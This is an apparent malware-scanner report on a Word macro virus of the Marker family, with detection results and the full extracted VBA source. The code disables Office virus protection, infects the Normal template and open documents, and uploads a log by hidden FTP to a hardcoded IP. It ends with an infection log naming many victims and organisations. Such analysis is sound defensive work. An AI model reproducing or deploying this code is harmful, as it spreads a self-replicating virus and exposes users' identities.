MALICIOUS
260
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
T1071.001 Web Protocols
T1105 Ingress Tool Transfer
The sample contains critical heuristics indicating the presence of VBA macros with self-replication capabilities and AV tampering. The VBA code attempts to disable macro virus protection and writes its own code to the active document and normal template. It also appears to write a file to 'C:\netldx.vxd' and attempts to connect to '209.201.88.110', suggesting it is a downloader for a second-stage payload.
Heuristics 4
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ClamAV: Doc.Trojan.Marker-31 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Marker-31
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide -
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
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macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6895 bytes |
SHA-256: 633b87a4f08e73cb7ad5c8155cb5885fedaff29a89a69ce99e2477913939c651 |
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Detection
ClamAV:
Doc.Trojan.Marker-1
Obfuscation or payload:
unlikely
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Const Marker = "<- this is a marker!"
'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInfected, NormalTemplateInfected As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String
'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInfected = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)
'Switch the VirusProtection OFF
Options.VirusProtection = False
If (Day(Now()) = 1) And (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = False) Then
If DocumentInfected = True Then
LogData = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
ElseIf NormalTemplateInfected = True Then
LogData = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
End If
LogData = Mid(LogData, InStr(1, LogData, "' Log" & "file -->"), Len(LogData) - InStr(1, LogData, "' Log" & "file -->"))
For i = 1 To 4
LogFile = LogFile + Mid(Str(Int(8 * Rnd)), 2, 1)
Next i
LogFile = "C:\hsf" & LogFile & ".sys"
Open LogFile For Output As #1
Print #1, LogData
Close #1
Open "c:\netldx.vxd" For Output As #1
Print #1, "o 209.201.88.110"
Print #1, "user anonymous"
Print #1, "pass itsme@"
Print #1, "cd incoming"
Print #1, "ascii"
Print #1, "put " & LogFile
Print #1, "quit"
Close #1
Shell "command.com /c ftp.exe -n -s:c:\netldx.vxd", vbHide
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogFile") = True
End If
'Make sure that some conditions are true before we continue infecting anything
If (DocumentInfected = True Xor NormalTemplateInfected = True) And _
(ActiveDocument.SaveFormat = wdFormatDocument Or _
ActiveDocument.SaveFormat = wdFormatTemplate) Then
'Infect the NormalTemplate
If DocumentInfected = True Then
SaveNormalTemplate = NormalTemplate.Saved
OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
'Write a log file of this NormalTemplate infection
For i = 1 To Len(Application.UserAddress)
If Mid(Application.UserAddress, i, 1) <> Chr(13) Then
If Mid(Application.UserAddress, i, 1) <> Chr(10) Then
UserAddress = UserAddress & Mid(Application.UserAddress, i, 1)
End If
Else
UserAddress = UserAddress & Chr(13) & "' "
End If
Next i
OurCode = OurCode & Chr(13) & _
"' " & Format(Time, "hh:mm:ss AMPM - ") & _
Format(Date, "dddd, d mmm yyyy") & Chr(13) & _
"' " & Application.UserName & Chr(13) & _
"' " & UserAddress & Chr(13)
nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
nt.CodeModule.AddFromString OurCode
If SaveNormalTemplate = True Then NormalTemplate.Save
End If
'Infect the ActiveDocument
If NormalTemplateInfected = True And _
(Mid(ActiveDocument.FullName, 2, 1) = ":" Or _
ActiveDocument.Saved = False) Then
SaveDocument = ActiveDocument.Saved
OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
ad.CodeModule.AddFromString OurCode
If SaveDocument = True Then ActiveDocument.Save
End If
End If
End Sub
' Logfile -->
' 09:08:36 - Saturday, 28 Nov 1998
' SPo0Ky
' Blue Planet
'
' 02:50:31 PM - Saturday, 28 Nov 1998
' MARK B. SEAY
'
' 08:04:45 AM - Friday, 4 Dec 1998
' UPS
'
' 11:43:35 AM - Thursday, 17 Dec 1998
' WRO
'
' 03:07:26 PM - Tuesday, 22 Dec 1998
' BCBSA
'
' 03:28:02 PM - Wednesday, 6 Jan 1999
' BCBSA
'
' 02:59:47 PM - Monday, 11 Jan 1999
' Marsha Veach
'
' 01:54:54 PM - Wednesday, 20 Jan 1999
' Connie Sandifer, CMP
'
' 09:33:06 PM - Monday, 25 Jan 1999
' Doug Rowan
'
' 08:21:12 AM - Wednesday, 27 Jan 1999
' IMSI
'
' 10:59:58 AM - Friday, 29 Jan 1999
' Raj
'
' 03:37:57 PM - Saturday, 30 Jan 1999
' hornd
'
' 01:26:48 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'
' 04:57:29 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'
' 06:35:44 PM - Tuesday, 2 Feb 1999
' Cooley Godward
'
' 04:23:52 PM - Thursday, 4 Feb 1999
' Cooley Godward
'
' 04:27:39 PM - Saturday, 6 Feb 1999
' Cooley Godward
'
' 06:18:06 PM - Monday, 8 Feb 1999
' Cooley Godward
'
' 09:17:17 PM - Tuesday, 9 Feb 1999
' hclee
'
' 04:44:45 PM - Wednesday, 17 Feb 1999
' Dr. W. Hsiao
' Wendy Hsiao, Ph.D.
' 04:13:19 PM - Tuesday, 23 Feb 1999
' CCST
'
' 10:09:35 AM - Saturday, 20 Mar 1999
' cpwu
'
' 09:33:49 AM - Thursday, 6 May 1999
' 柳建华
'
' 12:39:25 PM - Tuesday, 20 May 1997
' ghc-bbc
'
' 01:21:36 PM - Friday, 7 May 1999
' 李晋闽
'
' 05:51:53 - Wednesday, 12 May 1999
' qdzhuang
'
' 03:23:04 PM - Saturday, 19 Jun 1999
' 李晋闽
'
' 02:53:46 下午 - Tuesday, 6 Sep 2011
' 李晋闽
'
' 09:37:47 上午 - Monday, 19 Sep 2011
' 张士力
'
' 01:41:54 下午 - Monday, 26 Sep 2011
' unknown
'
' 10:50:02 上午 - Wednesday, 19 Oct 2011
' 祝昊泉
'
' 12:16:37 下午 - Monday, 31 Oct 2011
' 杨鹏
'
' 04:41:50 下午 - Friday, 25 Nov 2011
' unknown
'
' 08:44:20 上午 - Tuesday, 29 Nov 2011
' unknown
'
' 08:48:19 上午 - Wednesday, 30 Nov 2011
' 石磊
'
' 12:05:47 下午 - Tuesday, 13 Dec 2011
' 杨柳
'
' 08:21:37 下午 - Thursday, 15 Mar 2012
' 杨柳
'
' 10:18:53 上午 - Saturday, 31 Mar 2012
' 杨柳
'
' 05:53:40 下午 - Saturday, 31 Mar 2012
' 杨柳
'
' 04:16:34 下午 - Thursday, 5 Apr 2012
' *
'
' 10:39:36 上午 - Thursday, 12 Apr 2012
' 毛翔
'
' 12:55:25 下午 - Tuesday, 17 Apr 2012
' 刘佳
'
' 12:27:55 下午 - Thursday, 19 Apr 2012
' 杨锐
'
' 06:54:44 下午 - Tuesday, 24 Apr 2012
' 牟大志
'
' 12:34:03 下午 - Thursday, 10 May 2012
' 金格科技
'
' 10:11:06 上午 - Monday, 14 May 2012
' 金格科技
'
' 08:23:28 上午 - Monday, 9 Jul 2012
' 金格科技
'
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